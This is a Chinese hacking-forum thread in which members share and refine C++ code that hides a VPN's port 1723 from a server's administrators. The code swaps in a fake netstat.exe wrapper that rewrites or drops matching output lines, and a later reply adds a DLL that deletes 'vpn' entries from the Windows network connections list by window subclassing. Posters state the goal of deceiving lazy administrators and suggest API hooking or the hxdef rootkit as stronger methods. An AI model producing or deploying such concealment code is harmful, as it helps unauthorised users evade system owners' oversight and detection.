[原创]VPN的1723端口隐藏的实现
文章作者:zshoucheng信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
本文针对论坛会员 独孤E人 所发表的 <<VPN的1723端口隐藏求救>>
原帖见于:[url]http://forum.eviloctal.com/read-htm-tid-30212.html[/url]
基本思路见[url]http://forum.eviloctal.com/read-htm-tid-30212-page-e-fpage-1.html#a[/url]
由于那里的源码是VC++2005 C++/CLI编译,运行时不仅要 .NET 还要带个msvcm80.dll,
不方便使用,于是用VC++6.0重写了下.因为这个代码可以扩展 定制,所以发到原创
代码如下:
[code]
/////////////////////////////////////////////////////////////
//处理netstat回显隐藏VPN端口
//Coder:zshoucheng [EST]
//Blog:http;//www.shellvip.com
////////////////////////////////////////////////////////////
#include <iostream>
#include <fstream>
#include <string>
#include <windows.h>
using namespace std;
char buf[100]={0};
char* LogFile()
{
GetTempPath(64,buf);
strcat(buf,"port.log");
return buf;
}
int main(int argc,char* argv[])
{
string cmd = "stat.exe"; //把系统原来的netstat.exe改名为stat.exe
string oldPort = "1723"; //需要隐藏的端口
string newPort = "80 "; //替换为新的端口
if (argc != 1)
{
for (int i=1;i<argc;i++)
{
cmd += " ";
cmd += argv[i];
}
}
cmd += ">";
cmd += LogFile();
system(cmd.c_str());
ifstream in(LogFile());
string tmp[256];
for (int j=0;j<256 && in;j++)
{
getline(in,tmp[j],'\n');
int index = (tmp[j]).find(oldPort,4);
if (index!=string::npos)
{
tmp[j].replace(index,4,newPort);
}
cout<<tmp[j].c_str()<<endl;
}
return 0;
}
[/code]
思路有点意思.
用管道岂不更爽快. 提个问题,万一主机上没有开放80端口的web服务怎么办? [quote]引用第2楼zhouzhen于2007-08-14 09:15发表的 :
提个问题,万一主机上没有开放80端口的web服务怎么办?[/quote]
[s:265]
改为 80 端口是按照 独孤E人 的要求写的,
而且这个代码可以定制的嘛
服务器提供某种服务总该开个端口吧
或者干脆抹掉带有1723端口的那一行
只需将代码中的:
tmp[j].replace(index,4,newPort);
的地方改为:
tmp[j].erase();
[color=#FF0000]continue; //8月28日更新[/color]
即可 针对netstat来说,思路确实不错。简单而且实用,但是我发现很多管理员一般都是喜欢用GUI的端口查看器,尤其是现如今很多防火墙或者系统维护工具都带有端口查看的功能,这个可不是我瞎说啊,我看过很多管理员都是用GUI的端口查看器。所以,这种方法的局限性也就暴露出来了,我想解决这个东西的最根本的办法还是要从底层来考虑了。 [s:264] 确实,这个程序叫zshoucheng定做的,完全符合我的情况,而且测试效果不错。
最后还有点解决不了的就是网络连接里的图标,我实在找不到有关方法来单独隐藏VPN的图标,只有采取隐藏本地连接的方法同时来隐藏VPN图标,只要稍有经验的管理员看了就明白了,不过暂时也只有这样了,对付下SB管理员或懒的管理员还是可行的。 替换为tmp[j].erase()之后
那一行不是被抹去 而是就显示为空
和正常的netstat运行结果不一样
如下所示:
TCP 127.0.0.1:46897 0.0.0.0:0 LISTENING
TCP 192.168.10.102:139 0.0.0.0:0 LISTENING
TCP 192.168.10.102:1095 121.0.19.151:16000 ESTABLISHED
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:500 *:* 若要隐藏包含特定端口的行
改成这样我觉得更合适些:
[code]/////////////////////////////////////////////////////////////
//处理netstat回显隐藏VPN端口
//Coder:zshoucheng [EST]
//Blog:http;//www.shellvip.com
////////////////////////////////////////////////////////////
#include <iostream>
#include <fstream>
#include <string>
#include <windows.h>
using namespace std;
char buf[100]={0};
char* LogFile()
{
GetTempPath(64,buf);
strcat(buf,"port.log");
return buf;
}
int main(int argc,char* argv[])
{
string cmd = "stat.exe"; //把系统原来的netstat.exe改名为stat.exe
string oldPort = "80"; //需要隐藏的端口
string newPort = "90 "; //替换为新的端口
if (argc != 1)
{
for (int i=1;i<argc;i++)
{
cmd += " ";
cmd += argv[i];
}
}
cmd += ">";
cmd += LogFile();
system(cmd.c_str());
printf("%s",cmd.c_str());
ifstream in(LogFile());
string tmp;
for (int j=0;j<256 && in;j++)
{
getline(in,tmp,'\n');
int index = (tmp).find(oldPort,4);
if (index!=string::npos)
{
//tmp[j].replace(index,4,newPort);
tmp.erase();
}
else
cout<<tmp.c_str()<<endl;
}
return 0;
}[/code] [quote]引用第7楼slutter于2007-08-28 18:11发表的 :
若要隐藏包含特定端口的行
改成这样我觉得更合适些:
.......[/quote]
由于给独孤E人定做的时候是要求替换为80端口,
至于抹去含有特定端口的那一行没有测试。。
你所说的会输出一个空白行
其实只需在
tmp[j].erase();
后面加上一个 continue; 就可以了 [quote]引用第5楼独孤依人于2007-08-14 18:39发表的 :
[s:264] 确实,这个程序叫zshoucheng定做的,完全符合我的情况,而且测试效果不错。
最后还有点解决不了的就是网络连接里的图标,我实在找不到有关方法来单独隐藏VPN的图标,只有采取隐藏本地连接的方法同时来隐藏VPN图标,只要稍有经验的管理员看了就明白了,不过暂时也只有这样了,对付下SB管理员或懒的管理员还是可行的。[/quote]
系统托盘区的图标是可以编程来访问和控制蝗,在CSDN上看到过C++和MASM32写的枚举托盘区的图标的代码,改一下就可以实现图标的隐藏了 针对netstat实用性确实很强
但对于防火墙或一些别的工具缺点一样突出 晕,这也算是端口隐藏~~ 端口隐藏为什么不使用黑客守卫者呢 这个问题我也很感兴趣 呵 我还想请教一下[img]http://www.yyvpn.cn/11.jpg[/img]这里的分支里的陆游怎么能看不见 网络连接那里隐藏VPN的图标可以用窗口子类化[code]#include "stdafx.h"
#include <windows.h>
#include <CommCtrl.h>
#include <process.h>
#include <tchar.h>
#include <shlwapi.h>
#define MAGIC_NUMBER (0x20)
WNDPROC lpfnSupperClassProc=NULL;
__forceinline
void HideItem(HWND hListCtrl,DWORD dwItemcount)
{
LVITEM li={0};
char text[50]={0};
li.pszText=text;
li.cchTextMax=50;
for(DWORD i=0;i<dwItemcount;i++)
{
CallWindowProc(lpfnSupperClassProc,hListCtrl,LVM_GETITEMTEXT,i,(LPARAM)&li);
if(StrStrI(li.pszText,_T("vpn"))!=NULL)
CallWindowProc(lpfnSupperClassProc,hListCtrl,LVM_DELETEITEM,i,0);
}
}
LRESULT CALLBACK ListFilterProc(HWND hwnd,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
DWORD dwItemcount=0;
if(WM_PAINT==uMsg)
{
dwItemcount=CallWindowProc(lpfnSupperClassProc,hwnd,LVM_GETITEMCOUNT,0,0);
if(dwItemcount<MAGIC_NUMBER)
HideItem(hwnd,dwItemcount);
}
return CallWindowProc(lpfnSupperClassProc,hwnd,uMsg,wParam,lParam);
}
__forceinline
BOOL InstallListFilter()
{
BOOL bRet=FALSE;
HWND hWnd=NULL;
INITCOMMONCONTROLSEX cls={sizeof(INITCOMMONCONTROLSEX),ICC_WIN95_CLASSES};
bRet=InitCommonControlsEx(&cls);
if(bRet)
{
hWnd=CreateWindow(_T("SysListView32"),_T(""),WS_CAPTION|LVS_REPORT,0,0,0,0,
NULL,NULL,NULL,NULL);
lpfnSupperClassProc=(WNDPROC)GetClassLong(hWnd,GCL_WNDPROC);
SetClassLong(hWnd,GCL_WNDPROC,(LONG)ListFilterProc);
DestroyWindow(hWnd);
}
return bRet;
}
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call, LPVOID lpReserved)
{
if(DLL_PROCESS_ATTACH==ul_reason_for_call)
InstallListFilter();
return TRUE;
}
[/code]
[[i] 本帖最后由 classicwind 于 2008-7-28 14:33 编辑 [/i]] VPN服务器的管理员未必用netstat -an查端口连接,.有些为了方便直接用工具的,这样代码是无效了.:sad:
要是强大就HOOK列举网络连接方面的函数,隐藏之...
最后,还是感得端口转发强大...:lol: 这年头 都在墙里看 端口 还是1723 工具里看也是1723
借助HXDEF里的隐藏代码抄出来 不是更好点?
页:
[1]